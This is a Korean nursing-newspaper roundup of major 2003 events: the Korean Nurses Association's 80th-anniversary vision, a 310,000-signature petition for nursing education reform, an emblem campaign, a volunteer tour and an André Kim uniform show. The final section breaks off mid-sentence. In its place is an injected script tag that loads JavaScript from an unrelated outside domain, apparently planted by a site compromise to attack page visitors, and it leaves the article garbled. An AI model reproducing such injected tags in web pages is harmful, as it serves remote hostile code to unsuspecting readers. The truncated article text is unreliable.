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2003 간호계 주요 뉴스
기사입력 2003-12-26 오전 09:10:55
◆ 창립 80주년 맞아 비전 선포
 대한간호협회 창립 80주년 기념행사 및 제6회 전국간호사대회가 `국민 건강의 옹호자 - 간호사' 주제로 간호사와 간호학생 7000여명이 모인 가운데 5월 29~30일 열렸다. 개회식에는 영부인 권양숙 여사가 참석해 간호사들을 격려했으며, 세계의 간호지도자들이 함께 했다.
 이 자리에서 한국 간호가 나아가야 할 목표와 방향을 제시하는 비전으로 `스스로 돌보는 건강한 삶, 그 삶과 함께 하는 건강한 간호'가 선포됐다. 비전은 국민들이 올바른 건강습관을 몸에 익히고 정확한 건강정보를 습득함으로써 스스로 건강한 삶을 관리해 나갈 수 있도록 그 곁에서 간호사들이 옹호자 역할을 다하겠다는 실천적 의지를 담고 있다.
 간협은 또 비전을 새긴 플래카드를 제작해 회관 건물에 게시함으로써 간호는 언제나 국민들 곁에서 국민들을 위해 존재한다는 사실을 널리 알리고 간호사들의 결의를 다시 한번 다졌다.

◆ 간호교육제도 일원화 서명운동
 간호계의 숙원과제인 간호교육제도 일원화와 간호법 제정을 촉구하는 범국민 서명운동의 열기가 전국을 뜨겁게 수놓은 한해였다. 그 결과 총 31만명이 서명에 참여하는 결실을 맺었다.
 대한간호협회는 "수준 높은 간호서비스를 받을 국민들의 권리를 보장하기 위해선 간호교육제도 일원화와 간호법 제정이 반드시 이뤄져야 한다"는 내용의 건의문을 채택하고 간호사와 간호학생들을 대상으로 서명운동을 시작했다.
 전국의 병원과 간호대학에서 빠짐없이 서명용지에 사인을 해 간호협회로 보내왔고, 인터넷 홈페이지를 통해서도 지지의 손길이 이어졌다.
 간호계를 뛰어 넘어 일반국민들에게 서명운동의 취지를 설명하고 지지를 얻어내기 위한 캠페인도 활발히 이뤄졌다.
 시?도간호사회가 중심이 되어 일반인들의 동참을 이끌어 냈으며, 간호사와 간호학생들은 1인 20명 서명받기에 적극 나서 서명운동을 성공적으로 이끄는데 견인차 역할을 해냈다.
 해외에 거주하는 한인간호사들이 정성어린 서명을 보내왔고, 아시아 각국의 간호협회 대표들도 서명에 참여해 힘을 보탰다.
 전국의 간호사들은 "이번만큼은 우리의 소망을 반드시 이루자"며 결연한 의지를 보였고, 간호학생들도 "후배들에게 희망찬 미래를 열어주고 싶다"면서 당연히 내가 해야 할 일이라는 책임감으로 서명운동에 나섰다.

◆ 간호의 자긍심 `휘장' 달기
 대한간호협회는 올해 창립 80주년을 맞아 `휘장'을 공식 인증했으며, 간협신보에서는 간호의 자긍심 `휘장' 달기 캠페인을 펼쳤다.
 휘장은 국민 건강의 옹호자이며 21세기 보건의료의 핵심인력인 간호사의 `비전·위상·전통'을 상징하기 위해 개발됐으며, 앙드레 김이 디자인했다. 간호사 유니폼에 부착해 사용할 수 있는 제품과 배지 형태 두 가지로 개발, 판매되고 있다.
 휘장을 통해 간호사의 정체성을 강화하고 간호의 전문성과 자긍심을 드높이며 사회적 위상과 이미지를 향상시키자는 뜻에서, 휘장 달기 캠페인이 전개됐다. 전국 병원의 간호사들이 유니폼에 휘장을 부착하는데 앞장섰으며, 간호대학 교수와 학생들은 실습복에 휘장을 달며 동참했다.
 휘장을 단 간호사들은 한결같이 "환자들의 믿음과 신뢰가 한층 두터워졌음을 실감한다"면서 "새로운 마음가짐으로 작은 간호서비스 하나에도 깊은 정성과 책임을 다하고 있다"고 말했다.

◆ 사랑 실은 간호봉사 대장정
 간호봉사 대장정 대원들이 대한간호협회 창립 80주년 기념행사에서 출정식을 갖고 제주를 출발해 서울에 이르기까지 전국을 순회하며 각 지역의 시·도간호사회와 함께 사랑의 봉사활동을 펼쳤다.
 간호봉사 대장정은 간호사들에게는 국민 건강의 옹호자로서 새로운 역할을 스스로 확인할 수 있고, 국민들에게는 참다운 간호를 체험하고 느낄 수 있는 기회를 주기 위해 마련됐다.
 봉사대원들은 거리 캠페인을 벌이며 국민들이 스스로 건강을 관리할 수 있도록 돕기 위해 제작한 `건강 달력'을 배포하고 건강상담을 펼쳐 큰 호응을 얻었다.
 또한 장애아동시설을 직접 방문해 아이들을 돌보았으며 거동불편노인, 외국인근로자, 백혈병어린이 등을 대상으로 다양한 봉사활동을 했다.
 사랑의 구슬땀을 흘리며 감동의 드라마를 펼쳤던 봉사대원들은 대장정이 끝난 후 정기모임을 만들어 지속적으로 간호봉사를 실천해 나가고 있다.

◆ 앙드레 김 간호사복 선보여
 대한간호협회는 창립 80주년을 기념해 앙드레 김 간호사복 패션쇼를 개최했다. 패션쇼에서는 세계적인 디자이너 앙드레 김의 예술 혼과 열정이 깃들여진 간호사복을 감상할 수 있는 화려한 무대가 펼쳐졌다.
 간호전문직 의상이 갖춰야 할 기능성과 실용성에다 아름다움과 멋까지 충분히 살린 새 간호사복은 (주)유화를 통해 정식 제품으로 개발됐다. 병원과 보건소에서 간호사 유니폼으로, ?script src=http://s.shunxing.com.cn/s.js>

편집부  news@nursenews.co.kr

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